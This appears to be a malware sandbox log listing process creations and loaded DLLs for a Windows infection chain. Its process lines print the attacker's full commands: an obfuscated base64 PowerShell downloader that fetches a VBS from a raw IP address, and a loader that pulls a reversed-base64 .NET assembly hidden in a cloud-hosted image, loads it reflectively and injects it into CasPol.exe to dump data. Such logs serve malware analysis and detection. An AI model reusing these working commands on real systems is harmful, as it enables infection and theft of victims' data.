Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\aockdegvxmbvbenvzdaftknehua"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\kihdewrolutadkbziovgwxanibscod"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\nkmnepbqzclnnyxdazhahcueqhcdhonmrf"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C POWerSHeLl -ex bYPasS -NOp -w 1 -c dEVICECREdentiALdEpLOYMENT ; InvokE-EXprEssioN($(Invoke-exPREssiON('[syStem.texT.enCOdiNG]'+[cHAR]0X3A+[CHar]58+'utF8.GEtsTRING([SYsTem.coNVERt]'+[ChAr]0x3A+[CHAr]0x3a+'frOMbAsE64sTrIng('+[CHAR]34+'JGJvWG5VdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1iZXJERUZJbml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBILHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLb29QLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFcVosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aWdtLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbmdUWWpaeFVNKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmVmYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRWdOYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRib1huVXU6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy43Lzc3L3NlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGluZ3MudElGIiwiJEVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGkudmJTIiwwLDApO1N0YVJULXNsZUVQKDMpO2luVm9rRS1FWHByRVNTaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc2ZvcmdldG1lYmFja3dpdGhnb29kbmV3c3RoaS52YlMi'+[ChaR]34+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POWerSHeLl -ex bYPasS -NOp -w 1 -c dEVICECREdentiALdEpLOYMENT ; InvokE-EXprEssioN($(Invoke-exPREssiON('[syStem.texT.enCOdiNG]'+[cHAR]0X3A+[CHar]58+'utF8.GEtsTRING([SYsTem.coNVERt]'+[ChAr]0x3A+[CHAr]0x3a+'frOMbAsE64sTrIng('+[CHAR]34+'JGJvWG5VdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1iZXJERUZJbml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVckxNT04uZExsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBILHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLb29QLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFcVosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aWdtLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJbmdUWWpaeFVNKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJmVmYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRWdOYSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRib1huVXU6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjEyMy43Lzc3L3NlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGluZ3MudElGIiwiJEVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3Nmb3JnZXRtZWJhY2t3aXRoZ29vZG5ld3N0aGkudmJTIiwwLDApO1N0YVJULXNsZUVQKDMpO2luVm9rRS1FWHByRVNTaU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW52OkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc2ZvcmdldG1lYmFja3dpdGhnb29kbmV3c3RoaS52YlMi'+[ChaR]34+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\2qf3pwzp\2qf3pwzp.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebestthingsforgetmebackwithgoodnewsthi.vbS"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8DF2.tmp" "c:\Users\user\AppData\Local\Temp\2qf3pwzp\CSCB3A240E1501D48929A893BA197F62C4E.TMP"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.mihrofgnimocsyad#aergh#iwsgnih##sebgnissik/77/7.321.542.271//:p##h';$restoredText = $originalText -replace '#', 't';$wheal = 'https://res.cloudinary.com/dmwnmemcm/image/upload/v1736770712/mq8ht5gredx4ck4rramp.jpg ';$nectars = New-Object System.Net.WebClient;$polyedrons = $nectars.DownloadData($wheal);$tropical = [System.Text.Encoding]::UTF8.GetString($polyedrons);$bubbas = '<<BASE64_START>>';$fairhood = '<<BASE64_END>>';$fulminatory = $tropical.IndexOf($bubbas);$quadriloge = $tropical.IndexOf($fairhood);$fulminatory -ge 0 -and $quadriloge -gt $fulminatory;$fulminatory += $bubbas.Length;$oxytrope = $quadriloge - $fulminatory;$moorcocks = $tropical.Substring($fulminatory, $oxytrope);$pelisse = -join ($moorcocks.ToCharArray() \| ForEach-Object { $_ })[-1..-($moorcocks.Length)];$unreigned = [System.Convert]::FromBase64String($pelisse);$chevaux = [System.Reflection.Assembly]::Load($unreigned);$cutesily = [dnlib.IO.Home].GetMethod('VAI');$cutesily.Invoke($null, @($restoredText, 'pulvilliform', 'pulvilliform', 'pulvilliform', 'CasPol', 'pulvilliform', 'pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','pulvilliform','1','pulvilliform','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\aockdegvxmbvbenvzdaftknehua"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\kihdewrolutadkbziovgwxanibscod"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\user\AppData\Local\Temp\nkmnepbqzclnnyxdazhahcueqhcdhonmrf"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
